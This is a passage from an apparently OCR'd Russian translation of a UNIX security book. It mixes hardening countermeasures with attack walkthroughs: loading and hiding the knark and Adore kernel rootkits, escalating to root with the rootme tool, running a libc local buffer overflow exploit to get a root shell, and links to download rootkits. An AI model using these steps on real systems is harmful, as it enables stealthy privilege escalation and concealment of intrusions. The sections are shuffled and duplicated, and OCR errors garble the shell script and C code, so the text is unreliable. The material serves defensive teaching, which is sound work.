Как следует из приведенных сведений, "наборы отмычек" для модификации ядра могут оказаться чрезвычайно разрушительными и трудными для выявления. При этом в процессе обнаружения таких средств нельзя доверять ни одной программе и даже самому ядру. В случае взлома ядра окажутся бесполезными и утилиты подсчета контрольных сумм, такие как Tripwire. Одним из возможных способов обнаружения пакета knark заключается в использовании самого пакета. Поскольку с его помощью взломщик может скрыть любой процесс, воспользовавшись командой kill -31 и указав его идентификатор PID, ничто не мешает сделать любой процесс снова видимым. Для этого можно воспользоваться командой kill -32. Вот простой сценарий оболочки, который передает этот сигнал каждому процессу.

# ! /bin/sh rm pid S=l
while [ $S -It 10000 j do
if kill -32 $S; then echo "$S" » pid
fi S=expr $3+1'
Done

He забывайте о том, что kill -31 и kill -32 являются настраиваемыми командами пакета knark. Так что опытный взломщик может изменить эти параметры, чтобы избежать обнаружения своей деятельности. Однако вместе с тем вполне возможно, что другие злоумышленники воспользуются параметрами, заданными по умолчанию.
В качестве самой лучшей контрмеры мы всегда рекомендуем предупреждение подобных нападений. Использование такой программы, как LIDS (Linux Intrusion Detection System — система выявления вторжений Linux), является наилучшей превентивной мерой в системе Linux. Ее можно получить по адресу www.lids.org. Программа LIDS предоставляет следующие возможности.
 Предотвращение модификации ядра.  Предотвращение загрузки и выгрузки модулей ядра из оперативной памяти.  Возможность использования расширенных атрибутов файлов immutable (постоянный) и append-only ("только для добавления").  Блокирование совместно используемых сегментов памяти.  Защита от манипулирования идентификаторами процессов (PID).  Защита важных файлов в каталоге /dev/.  Обнаружение попыток сканирования портов. Программа LIDS представляет собой модуль обновления ядра. Ее необходимо применять к существующему исходному коду ядра, который затем должен быть перестроен. После установки LIDS воспользуйтесь командой lidsadm, чтобы защитить ядро от возможных манипуляций с загружаемыми модулями. Вот что произойдет после установки программы LIDS, если попытаться запустить утилиту knark.

[shadow]# insmod knark.о
Command terminated on signal 1.

После анализа файла журнала /var/log/messages становится очевидным, что программа LIDS позволяет не только выявить попытку загрузки модуля, но и практически их предотвращает.

Jul 9 13:32:02 shadow kernel: LIDS:
insmod (3 1 inode 58956) pid 700
user (0/0)
on ptsO: CAP_SYSjyiODULE violation:
try to create module knark

При использовании систем, отличных от Linux, нужно рассмотреть возможность отключения поддержки модулей LKM, что позволит обеспечить более высокий уровень безопасности. Конечно, подобный подход является не очень элегантным, однако он все же позволит предотвратить попытки применения описанных выше средств.


Контрмеры защита от "троянских коней"



Контрмеры: защита от "троянских коней"

Обнаружить программы типа "троянский конь" без соответствующих средств подчас довольно трудно. Возлагать надежды на стандартные методы, основанные на размере и дате, не приходится, поскольку опытный взломщик может создать файл, который будет иметь такой же размер, как и исходный, а также те же время и дату. Более эффективным является, например, метод, основанный на использовании программы, определяющей криптографическую контрольную сумму, с помощью которой для каждого исполняемого файла создается уникальная цифровая подпись. Эти подписи должны храниться в защищенном, недоступном для посторонних месте, например на дискете, находящейся в сейфе в специальном помещении. Программы, подобные Tripwire (http://www.tripwire.com) и MDSsum, являются одними из самых популярных в этой категории. Они позволяют записывать уникальные подписи всех программ и однозначно обнаруживать случаи модификации исполняемых файлов злоумышленниками. Очень часто администраторы пренебрегают подсчетом контрольных сумм до тех пор, пока не выявят попыток вторжения. Очевидно, что такое решение нельзя считать идеальным. К счастью, в состав некоторых систем входят пакеты, в которых изначально встроены строгие атгоритмы хэширования. Например, во многих версиях Linux используется формат RPM (RedHat Package Manager). В спецификации RPM определен также алгоритм подсчета контрольных сумм с использованием протокола MD5. Как же все эти средства помогают противостоять опасности вторжения? С помошью проверенной копии утилиты rpm можно сгенерировать запрос к пакету, который не подвергся взлому, и получить информацию о том, были ли изменены связанные с ним двоичные файлы.

[@shadow]# rpm -Vvp ftp://ftp.redhat.com/pub/redhat/\
redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm
S.5....T /bin/Is

В приведенном примере /bin/Is предстаапяет собой часть пакета утилит для работы с файлами системы RedHat 6.2. Как видно из полученных данных, файл /bin/Is был изменен (5). Это означает, что контрольная сумма двоичного файла и пакета MD5 отличается. А это является верным признаком присутствия злоумышленника.
Для систем Solaris полную базу данных контрольных сумм MD5 можно получить по адресу http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl. Эта база данных поддерживается компанией Sun. Если вы являетесь администратором системы Solaris, то она окажется чрезвычайно полезной.
Конечно, если ваша система оказалась взломанной, не пытайтесь восстановить ее с резервных копий: они наверняка также окажутся инфицированными. Для того чтобы корректно восстановить систему, ее необходимо полностью перестроить, воспользовавшись исходными носителями информации.

Контрмеры защита от взлома неправильно выбранных паролей



Контрмеры: защита от взлома неправильно выбранных паролей

Контрмеры, позволяющие защитить систему от попыток взлома неправильно выбранных паролей, приведены в разделе "Защита От Подбора Паролей "В Лоб"" выше в данной главе.



Контрмеры защита от взлома с использэванием SUIDфайлов



Контрмеры: защита от взлома с использэванием SUID-файлов

Лучшей мерой по защите от взлома, основанного на использовании SUID/SGID-файлов, является сброс флага SUID/SGID у как можно большего количества файлов. Исчерпывающий список файлов, которые не должны иметь такого бита, привести трудно в связи с большими различиями в версиях UNIX разных разработчиков. Поэтому любой перечень, который мы могли бы представить в данной книге, почти наверняка окажется неполным. Можем лишь посоветовать провести инвентаризацию всех SUID/SGID-файлов и проверить, действительно ли необходимо, чтобы тот или иной файл имел привилегии на уровне суперпользователя. Для этого вы можете использовать метод, который применяют взломщики, когда хотят найти SUID/SGID-файлы. С помощью следующей команды можно найти все SUID-файлы.
find / -type f -perm -04000 -ls
Для поиска SGID-файлов можно воспользоваться следующей командой, 
find / -type f -perm -02000 -ls
Подготовив список файлов, обратитесь к интерактивной справочной системе (man), документации и справке HOWTO, чтобы выяснить, рекомендуется ли в этих источниках удалить бит SUID того или иного файла. Проделав такую работу, вы будете удивлены, узнав, как много файлов не нуждается в привилегиях SUID/SGID. Конечно, прежде чем приступить к написанию сценария, удаляющего бит SUID/SGID у всех найденных файлов, необходимо проверить на тестовой системе, как это повлияет на работоспособность программ. Помните, что в каждой системе все-таки имеется несколько программ, которым для выполнения их функций нужны привилегии суперпользователя.



Контрмеры защита от взлома с использованием



Контрмеры: защита от взлома с использованием символьных ссылок

В данном случае самой лучшей защитой является программирование с учетом требований безопасности. К сожалению, алгоритмы многих программ не предусматривают проведение профилактической проверки уже созданных файлов. Прежде чем создавать файл, программист должен проверить его существование, воспользовавшись флагами O_EXCL | O_CREAT. При создании временных файлов задайте маску с помощью команды umask, а затем воспользуйтесь функциями tmpfileO или mktemp (). Если вам действительно интересно знать, какими программами создаются временные файлы, воспользуйтесь следующей командой в каталоге /bin или /usr/sbin/.
[quake]$ strings * |grep tmp
Если программа выполняется в контексте SUID, то она представляет собой потенциальную угрозу, поскольку может использоваться взломщиком для получения несанкционированного доступа путем создания символьной ссылки. Как уже неоднократно рекомендовалось, сбросьте бит SUID у максимально возможного количества файлов, чтобы свести риск к минимуму. Наконец, можно воспользоваться инструментальным средством, например, таким как LOpht Watch, которое наблюдает за каталогом /tmp и информирует о создании в нем временных файлов. Утилиту LOpht Watch можно найти по адресу http://www.L0pht.com/advisories/10pht-watch. tar .gz.



Контрмеры защита от взлома с помощью дескриптора файла



Контрмеры: защита от взлома с помощью дескриптора файла

Разработчики программ, предназначенных для работы в контексте SUID, должны следить за корректностью распределения дескрипторов файлов. В частности, при системном вызове execveO необходимо устанавливать флаг close-on-exec. Как уже упоминалось выше, необходимо также сбросить бит SUID у всех программ, для которых его устанавливать необязательно.



Контрмеры защита от взлома с помощью файлов дампов



Контрмеры: защита от взлома с помощью файлов дампов

Файлы дампов — это неизбежное зло. Несмотря на то что они могут предоставить взломщику конфиденциальную информацию, они также обеспечивают получение не менее важной информации и системному администратору в тех случаях, когда выполнение программы завершается аварийно. Если того требуют ваши правила обеспечения безопасности, можно ограничить генерацию файлов дампов с помощью команды ulimit и даже полностью отключить ее, установив ulimit равным 0 в системном профиле. Более подробную информацию по команде ulimit вы найдете в интерактивной справочной системе.

[tsunami]$ ulimit -a
core file size (blocks) unlimited
[tsunami]? ulimit -с 0
[tsunami]$ ulimit -a
core file size (blocks)0



Контрмеры защита от взлома с помощью сигналов



Контрмеры: защита от взлома с помощью сигналов

Когда речь идет о файлах SUID, корректная обработка сигналов должна быть обязательным требованием. Если программа перехватывает и обрабатывает сигналы надлежащим образом, конечный пользователь не сможет сделать ничего такого, что нарушило бы безопасность. Конечно, об этом должны позаботится программисты, а администратор прежде всего должен убедиться в том, что бит SUID установлен только для тех файлов, которым это действительно необходимо. Об этом уже неоднократно говорилось. Кроме того, нужно удостовериться в том, что установлены все модули обновления, предоставленные разработчиком операционной системы.



Контрмеры защита переменной IFS



Контрмеры: защита переменной IFS

При взломе с использованием переменной IFS в большинстве случаев мишенью злоумышленников является системная функция system(). Вызов этой функции используется в оболочке sh для анализа командной строки перед ее выполнением Для того чтобы избежать возможных злоупотреблений, можно применить простую программу, которая автоматически устанавливает в качестве значения переменной IFS символ пробела. Ниже приведен пример такой программы, код которой предоставил Джереми Рауч (Jeremy Rauch). 

#define EXECPATH "/usr/bin/real/"
main(int argc, char **argv)
{ char pathname[1024]; if (strlen(EXECPATH)
+ strlen(argv[0]) + l> 1024)
exit(-1);
strcpy(pathname, EXECPATH);
street(pathname, argv[0]);
putenv("IFS= \n\t");
execv(pathname, argv, argc);
}

К счастью, большинство современных версий UNIX игнорирует значение переменной IFS, если командная оболочка работает с привилегиями суперпользователя, а ее эффективный UID отличается от реального UID. В качестве совета можно еше pas подчеркнуть, что не нужно создавать сценарии с привилегиями SUID, а количество SUID-файлов свести к минимуму.


Контрмеры защита программы sendmail



Контрмеры: защита программы sendmail

Лучшим методом защиты от попыток взлома sendmail является отказ от ее использования во всех случаях, когда эта программа не используется для получения почты по сети. Если использовать sendmail все же необходимо, обязательно убедитесь в том, что в вашем распоряжении имеется ее самая свежая версия, в которой установлены все модули обновления системы защиты (http://www.sendmail.org). К другим мерам относится удаление из соответствующего файла всех псевдонимов. Исследуйте каждый псевдоним, который указывает на программу, а не на учетную запись пользователя. Кроме того, убедитесь, что разрешения, заданные для соответствующих файлов, запрещают внесение в них каких-либо изменений.
Существуют дополнительные утилиты, призванные восполнить недостаточную защищенность sendmail. Такими утилитами, например, являются smap и smapd — программы, входящие в комплект поставки пакета TIS, который можно бесплатно получить по адресу http://www.tis.com/research/software. Утилита smap используется для безопасного получения сообщений по сети и их размещения в специально выделенном каталоге. Утилита smapd периодически проверяет этот каталог и доставляет почту адресатам, используя для этого sendmail или какую-либо другую программу. Данный подход позволяет разорвать связь между sendmail и нелегальными пользователями, поскольку все соединения для получения почты устанавливает утилита smap, а не sendmail. Наконец, можно перейти к использованию более надежного агента МТА, такого как qmail. Программа qmail, написанная Дэном Бернштейном (Dan Bernstein),
представляет собой современный эквивалент sendmail. Одной из основных целей создания программы qmail было обеспечение безопасности при работе с электронной почтой, и в настоящее время она пользуется очень хорошей репутацией (подробнее см. по адресу http://www.qmail.org).
Кроме вышеупомянутых изъянов, программа sendmail зачастую неправильно конфигурируется, что позволяет с ее помощью рассылать спэмы. В программе sendmail версии 8.9 и выше реализованы функции, предотвращающие ее использование для таких целей. Для того чтобы получить об этом более подробную информацию и защитить узел от атак спэмеров, обратитесь по адресу http://www.sendmail.org/tips/relaying.html.



Контрмеры защита системы NFS



Контрмеры: защита системы NFS

Если нет острой необходимости в использовании системы NFS, то ее, а также и все связанные с ней службы (например, mountd, statd и lockd) необходимо отключить. Реализуйте механизм управления доступом, который позволил бы получать доступ к нужным файлам только санкционированным пользователям. Обычно экспортом файловых систем и включением соответствующих параметров управления доступом управляют конфигурационные файлы /etc/exports, /etc/dfs/dfstab и т.д. Некоторые параметры управления доступом позволяют задать имена компьютеров или групп, которым разрешен доступ, установить доступ только для чтения или запретить установку флага SUID. В каждой реализации системы NFS имеются небольшие различия, поэтому более подробную информацию об используемой версии поищите в документации или в справочной системе. Кроме того, никогда не включайте локальный IP-адрес сервера (или localhost) в список систем, которым разрешено монтировать файловую систему. Более старые версии службы portmapper позволяют взломщикам подключаться через proxy-серверы, работающие в интересах этих взломщиков. Если системе было разрешено монтировать экспортируемую файловую систему, взломщики могут отправить пакеты NFS службе portmapper взламываемой системы, что, в свою очередь, приведет к пересылке запроса на localhost. Такой запрос будет выглядеть так, словно он поступил с доверенного узла, что позволит ему обойти соответствующие правила управления доступом. Как всегда, в качестве последней по порядку (но не по значимости!) меры, советуем установить все модули обновления, предлагаемые разработчиками программного обеспечения.



Контрмеры защита системы X



Контрмеры: защита системы X

Сделайте все возможное, чтобы избежать использования команды xhost +. He ленитесь, помните о безопасности! Если вы не можете пойти на столь радикальные меры, тогда хотя бы применяйте команду xhost -, которая запрещает новые подключения, однако позволяет функционировать уже имеющимся. Если вы должны разрешить удаленный доступ к вашему Х-серверу, обязательно указывайте IP-адрес каждого сервера, которому разрешен доступ. Никогда не забывайте о том, что любой пользователь такого сервера может скрытно подключиться к вашему Х-серверу. Среди других мер по обеспечению безопасности можно выделить применение более серьезного механизма аутентификации, такого как MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1 и MIT-KERBEROS-5. Эти механизмы обеспечивают довольно высокий уровень защиты при подключении к Х-серверу. Если вы используете программу xterm или аналогичный терминал, включите режим Secure Keyboard. Это позволит запретить любому процессу перехватывать нажатия клавиш. Кроме того, подумайте о том, чтобы блокировать доступ извне к портам 6000-6063 на уровне брандмауэра с целью запретить несанкционированным пользователям подключаться к портам Х-сервера. И наконец, воспользуйтесь защищенной оболочкой ssh и ее возможностями по повышению уровня защиты сеансов X. Убедитесь, что в файле sshd_config или sshd2_config для параметра ForwardXll установлено значение yes.



Контрмеры защита служб RFC



Контрмеры: защита служб RFC

Лучшим методом защиты от удаленных атак является отключение всех служб RPC, в использовании которых нет острой необходимости. Если же какая-то служба RPC очень важна для работы сервера, подумайте над установкой какого-либо устройства управления доступом, с помощью которого связь с необходимыми портами RPC можно было бы разрешить только строго определенным узлам. В некоторых случаях эта задача может оказаться весьма непростой. Подумайте также над включением режима, запрещающего выполнение стека, если такой режим поддерживается вашей операционной системой. Наконец. попробуйте использовать Secure RPC, если имеющаяся в вашем распоряжении версия UNIX поддерживает такие средства. Secure RPC обеспечивает дополнительный уровень аутентификации, основанной на шифровании по открытому ключу. Помните, что Secure RPC — это не панацея, поскольку многие разработчики UNIX не поддерживают этого протокола. Другими словами, при использовании протокола Secure RPC повышается безопасность, но под угрозой может оказаться взаимодействие. Наконец, убедитесь в том, что установлены все самые последние модули обновления, разработанные поставщиком используемой вами системы.



Контрмеры защита службы DNS



Контрмеры: защита службы DNS

Первое и самое главное — отключите и удалите пакет BIND на всех узлах, которые не используются в качестве сервера DNS. Во многих версиях системы UNIX (особенно Linux) программа named автоматически запускается при начальной загрузке компьютера, несмотря на то, что она никогда не используется. Во-вторых, удостоверьтесь в том, что используется текущая версия пакета BIND, в состав которой входят модули обновления подсистемы защиты (www.bind.org). В-третьих, запускайте программу named с правами непривилегированного пользователя. Другими словами, программа named должна запускаться с привилегиями root только для связывания с портом 53. После этого эти привилегии нужно понизить с использованием параметра -u (named -и dns -g dns). И наконец, программа named должна запускаться с использованием параметра -t из среды chrooted() (named -u dns -g dns -t /home/dns). Это поможет предотвратить попытки взломщика, связанные с обходом файловой системы и в том случае, если им был получен доступ. Даже если все перечисленные меры защиты решат поставленную задачу, не стоит успокаиваться на достигнутом. Безопасности сервера DNS необходимо постоянно уделять самое пристальное внимание.




Контрмеры защита совместно используемых библиотек



Контрмеры: защита совместно используемых библиотек

При зафузке модулей с установленным флагом SU1D суперпользователя динамические компоновщики должны игнорировать значения переменной окружения LD_PRELOAD. Пуристы могут возразить, что совместно используемые библиотеки должны быть хорошо написаны и нет никакой опасности в том, что они указаны в переменной LD_PRELOAD. В действительности же в этих библиотеках могут оказаться ошибки, снижающие безопасность системы при выполнении кода, хранящегося в библиотеке, в контексте SUID. Более того, защищать совместно используемые библиотеки (например, /usr/lib или lie) нужно также тщательно, как и самые важные файлы. Если взломщик сможет получить доступ к /usr/lib или /lib, система станет абсолютно беззащитной.



Контрмеры защита TFTP



Контрмеры: защита TFTP

Убедитесь в том, что сервер TFTP ограничивает доступ к определенным каталогам, таким как /tftpboot. Это воспрепятствует взломщикам получить важную информацию о конфигурации системы. Кроме того, рассмотрите возможность реализации механизма управления доступом на уровне всей сети в целом и на уровне отдельных узлов, который запрещал бы несанкционированный доступ к серверу TFTP.



Контрмеры



Контрмеры

Как уже упоминалось раньше, одним из лучшим способов превентивной защиты является разработка программ с учетом требований обеспечения безопасности. Это же правило можно в полной мере применить и к защите от описанного выше взлома. Абсолютно необходимо, чтобы программы и сценарии воспринимали только те данные, которые они должны воспринимать. В разделе часто задаваемых вопросов WWW Security, расположенном по адресу http://www.w3.org/Security/Faq/www-security-faq.html, содержится важная информация о том, как сделать защищенными программы CGI. Поскольку очень трудно выполнять проверку каждой порции входных данных, лучше, чтобы эти процедуры по умолчанию отбрасывали все критические данные. Кроме того, после компиляции тщательно контролируйте и тестируйте весь программный код.




Краткий обзор



Краткий обзор

Как вы, должно быть, помните, в главах 1-3 мы рассматривали, как идентифицировать систему, работающую под управлением UNIX, и провести инвентаризацию информации, доступной на этой системе. Для этого мы использовали средства сканирования портов, такие как nmap, позволяющие установить перечень открытых TCP/UDP портов, а также определить версию операционной системы или устройства. Для инвентаризации служб RPC и точек монтирования NFS мы использовали, соответственно, утилиты rpcinfo и showmount. Мы также использовали такую универсальную утилиту, как netcat (nc) для сбора маркеров, с помощью которых можно легко установить, какие приложения и каких версий используются на исследуемом компьютере. В этой главе мы продолжим изучение методов исследования системы UNIX. Необходимо помнить, что, прежде чем приступать к глубокому исследованию системы, необходимо провести тщательную подготовку, позволяющую получить как можно более полную картину сетевого окружения и конфигурации изучаемой системы. Сбор информации должен быть как можно более тщательным, чтобы не упустить из виду ни одной детали. Только после получения такой информации можно делать какие-то предположения о потенциальных изъянах, которые могут присутствовать в системе зашиты изучаемого компьютера. Этот процесс называется составлением схемы уязвимых мест.




Локальное переполнение буфера



Локальное переполнение буфера

Взлом путем локального переполнения буфера — один из самых популярных видов атак. Как уже упоминалось выше в этой главе в разделе "Удаленный Доступ", используя переполнение буфера, взломщик может запустить на интересующей его системе произвольный код или команду. В большинстве случаев переполнение буфера применяется для взлома файлов, работающих в контексте SUID суперпользователя, что обеспечивает злоумышленнику возможность запуска команд с привилегиями root. Выше в разделе "Взлом Путем Переполнения Буфера" этой главы мы уже рассматривали, как при возникновении переполнения буфера можно выполнить произвольный код. В этом разделе мы на нескольких примерах рассмотрим, как происходит типичный взлом путем локального переполнения буфера.
В мае 1999 года группа Shadow Penguin Security обнародовала информацию о состоянии переполнения буфера в библиотеке libc, которое связано с переменной окружения LC_MESSAGES. Любая программа SUID, которая динамически компонуется с этой библиотекой и использует переменную окружения LC_MESSAGES, представляет собой объект для взлома путем переполнения буфера. Поскольку данная ошибка связана с использованием системной библиотеки, в отличие от рассматривавшихся ранее примеров, она проявляется не в одной программе, а в нескольких. Эта особенность очень важна и является одной из причин, по которой мы выбрали данный пример, потому что в случае возникновения переполнения буфера в системной библиотеке можно взломать очень много программ, использующих эту библиотеку. Давайте посмотрим, как этот подход выглядит на практике.
Прежде всего, необходимо скомпилировать саму программу взлома (exploit). В некоторых случаях понадобится подкорректировать исходный код. Этот процесс может оказаться достаточно длительным, поскольку иногда требуется очень тонкая настройка, зависящая от платформы. Рассматриваемая в данном случае программа написана для системы Solaris 2.6 и 2.7. Для ее компиляции мы использовали бесплатный компилятор GNU gcc, так как в комплект поставки Solaris по умолчанию компилятор не входит. Его нужно приобретать отдельно. Файл с исходным текстом имеет расширение . с, а исполняемый файл сохраняется под именем ex_lobc с помощью параметра -о компилятора. [quake]$ gcc ex_lobc.c -о ех_1оbс
Теперь остается лишь запустить на выполнение программу ex_lobc, которая приведет к переполнению буфера в libc посредством обращения к какой-либо программе SUID, например /bin/passwd.

[quake]$ ./ex_lobc
jumping address : efffe7a8 #

Итак, программа взлома перешла к заданному адресу памяти, в результате чего оболочка /bin/sh запустилась с привилегиями суперпользователя, о чем говорит символ # в строке приглашения. Данный пример очень прост и дает возможность любому почувствовать себя экспертом в вопросах безопасности. На самом деле участники группы Shadow Penguin Security проделали колоссальную работу, чтобы найти данный изъян и написать соответствующую программу. Как легко догадаться, простота получения доступа на уровне суперпользователя — это основная притягательная сила, побуждающая взломщиков использовать программы, приводящие к локальному переполнению буфера.

Локальный доступ



Локальный доступ

Итак, мы рассмотрели общие принципы получения удаленного доступа. Как уже упоминалось выше, большинство взломщиков, используя изъяны в защите средств удаленного доступа, стремятся получить локальный доступ. Если злоумышленнику удается получить интерактивный доступ к командной оболочке, он рассматривается системой как локальный пользователь. Хотя при удаленном взломе в некоторых случаях злоумышленникам удается сразу же получить доступ к компьютеру в качестве суперпользователя root, в большинстве случаев им приходится начинать с доступа в качестве обычного пользователя. Таким образом, взломщик должен заняться деятельностью, призванной расширить его полномочия от простого пользователя до суперпользователя. Эта деятельность называется расширением полномочий (privilege escalation). Сложность методики расширения полномочий зависит как от типа и версии используемой операционной системы, так и от качества ее настройки на конкретном компьютере. Некоторые операционные системы по умолчанию принимают все меры, препятствующие обычным пользователям расширять полномоия до уровня суперпользователя root, тогда как другие позволяют это делать. Например, пользователю операционной системы OpenBSD, установленной с параметрами настройки, принятыми по умолчанию, значительно сложнее расширить свои полномочия до уровня root, чем, скажем, пользователю операционной системы Irix. Конечно, индивидуальная настройка может значительно повысить уровень общей безопасности системы. В следующем разделе этой главы будут рассматриваться методы, позволяющие обычному пользователю получить доступ к системе на уровне суперпользователя. Необходимо заметить, что, хотя для большинства взломщиков типичным является поведение, заключающееся в попытках получить доступ на уровне root, в некоторых случаях у злоумышленника может не быть такой необходимости. Например, если взломщика интересует получение доступа к базе данных Oracle, то ему, скорее всего, достаточно будет получить доступ к учетной записи, под которой работает Oracle, а не к учетной записи root.



Манипуляции с файлами дампов



Манипуляции с файлами дампов

Возможность получения дампа (core file) при выполнении программы может привести гораздо к более серьезным последствиям, чем кажется на первый взгляд. Во время работы системы UNIX в памяти может находиться много важной информации, включая, например, хэш-коды паролей, считанные из скрытого файла паролей. Одним из примеров манипуляций с файлами дампов является изъян, имевший место в старых версиях FTPD. Сервер FTPD позволял взломщикам записать дамп оперативной памяти в общедоступный файл, размещаемый в корневом каталоге. Для этого перед подключением к серверу нужно было лишь передать команду PASV. Помимо прочего в файле дампа содержалась часть скрытого файла паролей и в большинстве случаев хэш-коды пользовательских паролей. Если взломщику удавалось найти эти коды в файле дампа, он получал возможность взломать привилегированную учетную запись и получить доступ к системе на уровне суперпользователя.



"Наборы отмычек" для модификации ядра



"Наборы отмычек" для модификации ядра

В предыдущих разделах были рассмотрены традиционные "наборы отмычек", с помощью которых можно модифицировать определенные файлы взломанной системы, а затем разместить в ней программы типа "троянский конь". В настоящее время такие средства несколько устарели. Современные и гораздо более разрушительные варианты "наборов отмычек" могут функционировать на уровне самого ядра операционной системы. Такие "наборы отмычек" позволяют модифицировать выполняющееся ядро UNIX и, таким образом, вводить в заблуждение все системные программы без модификации самих программ.
Обычно загружаемый модуль ядра (Loadable Kernel Module — LKM) служит для обеспечения дополнительной функциональности выполняющегося ядра без встраивания этих функций непосредственно в само ядро. Подобная возможность позволяет загружать и выгружать из оперативной памяти различные модули по необходимости, что, в свою очередь уменьшает размер выполняющейся части ядра. Таким образом, компактное ядро небольшого размера находится в оперативной памяти постоянно, а его возможности расширяются модулями, которые загружаются при необходимости. Это преимущество поддерживается многими версиями системы UNIX, в том числе Linux, FreeBSD и Solaris.
Описанным механизмом может воспользоваться злоумышленник, в результате чего он сможет полностью манипулировать системой и всеми запущенными в ней процессами. Вместо того чтобы использовать модуль LKM для загрузки драйверов устройств, например сетевого адаптера, этот модуль может применяться для перехвата системных вызовов и их модификации с целью изменения реакции системы на определенные команды. Двумя наиболее популярными "наборами отмычек" является knark (для Linux) и SLKM (Solaris Loadable Kernel Module) компании ТHС (http://www.infowar.co.uk/thc/files/thc/ slkm-1.0. tar.gz). Мы подробно рассмотрим пакет knark (http: //packetstorm. securify.com/UNIX/penetration/rootkits/knark-0.59.tar.gz) ниже, а дополнительную информацию о "потайных ходах" ядра системы Solaris можно найти по адресу http://www.infowar.co.uk/the/files/the/slkm-1.0.html/.
Пакет knark разработан хакером Кридом (Creed) и представляет собой "набор отмычек" для модификации ядра системы Linux 2.2.x. Самым важным компонентом этого пакета является модуль ядра knark. о. Для того чтобы загрузить этот модуль, нужно воспользоваться утилитой загрузки модуля ядра insmod.

[shadow]# /sbin/insmod knark.о

После этого на экране появится информация о загрузке модуля.

[shadow]# /sbin/lsmod
Module Size Used by
knark 6936 0 (unused)
nls_iso8859-l 2240 1 (autoclean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)

Как видно из приведенного фрагмента, модуль ядра knark был успешно загружен. Кроме того, очевидно, что системному администратору не составит труда обнаружить этот модуль. Поэтому абсолютно закономерно, что взломщик захочет оставить свою деятельность незамеченной. Для того чтобы удалить данные о модуле knark из результатов, предоставляемых утилитой Ismod, злоумышленники могут воспользоваться модулем modhide.o (еще одним компонентом пакета knark)

[shadow]#/sbin/insmod modhide.o
modhide.o: init_module: Device or resource busy
[shadow]# /sbin/lsmod
Module Size Used by
nls_iso8859-I 2240 1 (autociean)
lockd 30344 1 (autociean)
sunrpc 52132 1 (autociean) [lockd]
rt!8139 11748 1 (autociean)

Теперь, после повторного запуска утилиты Ismod, модуль knark таинственным образом "исчезнет" из поля зрения администратора.
К другим интересным утилитам, входящим в состав пакета knark, относятся следующие.
hidef. Используется для сокрытия файлов.  unhidef. Служит для отображения скрытых файлов.  ered. Применяется для настройки команды ехес, используемой для перенаправления ввода-вывода. Благодаря этому вместо исходных версий утилит могут выполняться программы типа "троянский конь".  nethide. С помощью этой утилиты можно скрыть записи в файлах /proc/net./tcp и /proc/net/udp. Именно из этих файлов получает информацию утилита netstat. Указанные данные злоумышленник может использовать для сокрытия входящих/исходящих соединений взломанной системы.  taskhack. Эта утилита позволяет изменить идентификаторы UID и GID запущенных процессов. Таким образом, взломщик в любой момент может изменить владельца процесса /bin/sh (выполняющегося с привилегиями обычного пользователя) и сделать его владельцем пользователя root (с UID 0).  rехес. Эта утилита применяется для удаленного выполнения команд на сервере, на котором установлен пакет knark. Она обеспечивает возможность использования ложного исходного адреса, что позволяет выполнять команды без выявления их источника.  rootme. Эта утилита позволяет получить доступ с привилегиями root без использования профамм SUID. Из приведенного ниже фрагмента видно, насколько просто это осуществить.

[shadow]$ rootme /bin/sh
rootme.с by Creed @ #hack.se 1999 creed@sekure.net
Do you feel lucky today, haxOr?
bash#

Группа программистов и специалистов по вопросам безопасности Teso разработала еще один вариант ятра под названием Adore, который можно найти по адресу http://teso.scene, at/releases/adore-0 .14. tar. gz. По возможностям эта программа не уступает пакету knark. Ниже представлены некоторые параметры командной строки.

[shadow]$ ava
Использование: ./ava {h,u,r,i,v,0}
[имя-файла, PID или dummy (для
параметра 'U')]
h скрыть файл
u отобразить файл
r выполнить с привилегиями root
U удалить adore
i сделать PID скрытым
v сделать PID видимым

Если приведенных выше сведений оказалось недостаточно, то прочитайте статью Сильвио Чезаре (Silvio Cesare), в которой рассматриваются аналогичные средства, позволяющие "на лету" модифицировать выполняющееся в оперативной памяти ядро в системах с "потайным ходом", в которых отсутствует поддержка модулей LK.M. Эту статью и описываемые в ней средства можно найти по адресу http://www.big.-net.au/~silvio/runtime-kernel-kmem-patching.txt. И наконец, Джоб Де Хаас (Job De Haas) выполнил огромную работу по исследованию методов взлома ядра системы Solaris. Часть написанного им кода можно найти по адресу http://www. itsx.com/kernmod-0.2.tar.gz.

Неправильная настройка системы



Неправильная настройка системы

В предыдущих разделах мы описали часто встречаемые изъяны, а также методы, с помощью которых злоумышленники могут воспользоваться этими недоработками и получить привилегированный доступ. Перечень таких изъянов и соответствующих методов достаточно велик, однако в распоряжении взломщиков имеется гораздо больше методов взлома, чем можно было бы предположить исходя из такого перечня. Это объясняется тем, что зачастую нарушение безопасности происходит не только и не столько из-за наличия технических дефектов в системе защиты, сколько из-за недостаточно тщательной настройки и неэффективных методов администрирования. Операционная система может быть сама по себе очень безопасной и надежной, но если системный администратор изменит права доступа к файлу /etc/passwd, открыв его для всеобщего доступа, все остальные меры по защите данных могут оказаться бесполезными. Именно этот человеческий фактор и недооценивается в большинстве случаев.



NFS



NFS

В документах компании Sun Microsystems можно встретить такое определение: "Сеть — это и есть компьютер". Действительно, возможности компьютера, не подключенного к сети, гораздо уже, чем его собрата, включенного в локальную или глобальную сеть. Возможно, именно из-за этого сетевая файловая система (NFS — Network File System) является одной из самых популярных файловых систем, предназначенных для поддержки сетевой обработки данных. Система NFS обеспечивает пользователям и приложениям прозрачный доступ к файлам и каталогам удаленных систем, как если бы эти файлы и каталоги были локальными. NFS была разработана компанией Sun Microsystems, и за годы, прошедшие после выхода версий 1 и 2, была значительно усовершенствована. В настоящее время система NFS версии 3 используется в большинстве современных клонов UNIX. Именно поэтому администратор любой системы, разрешающей удаленный доступ к экспортируемой файловой системе, должен быть особенно бдительным. Вероятность использования системы NFS для проникновения в сеть очень высока, а нарушения такого рода являются одними из самых распространенных нарушений безопасности UNIX. Это связано, во-первых, с -тем, что в сервере NFS (mountd) уже выявлено очень много потенциальных ошибок, приводящих к переполнению буфера. Кроме того, системой NFS используются службы RPC, что позволяет взломщикам смонтировать удаленную файловую систему. Большинство проблем, связанных с безопасностью NFS, имеет то или иное отношение к объектам, называемым дескрипторами файлов (file handle). Дескрипторы файлов — это уникальные маркеры, предназначенные для идентификации файлов и каталогов удаленного сервера. Если взломщику удастся выведать или подобрать дескриптор удаленного файла, он сможет легко получить к нему 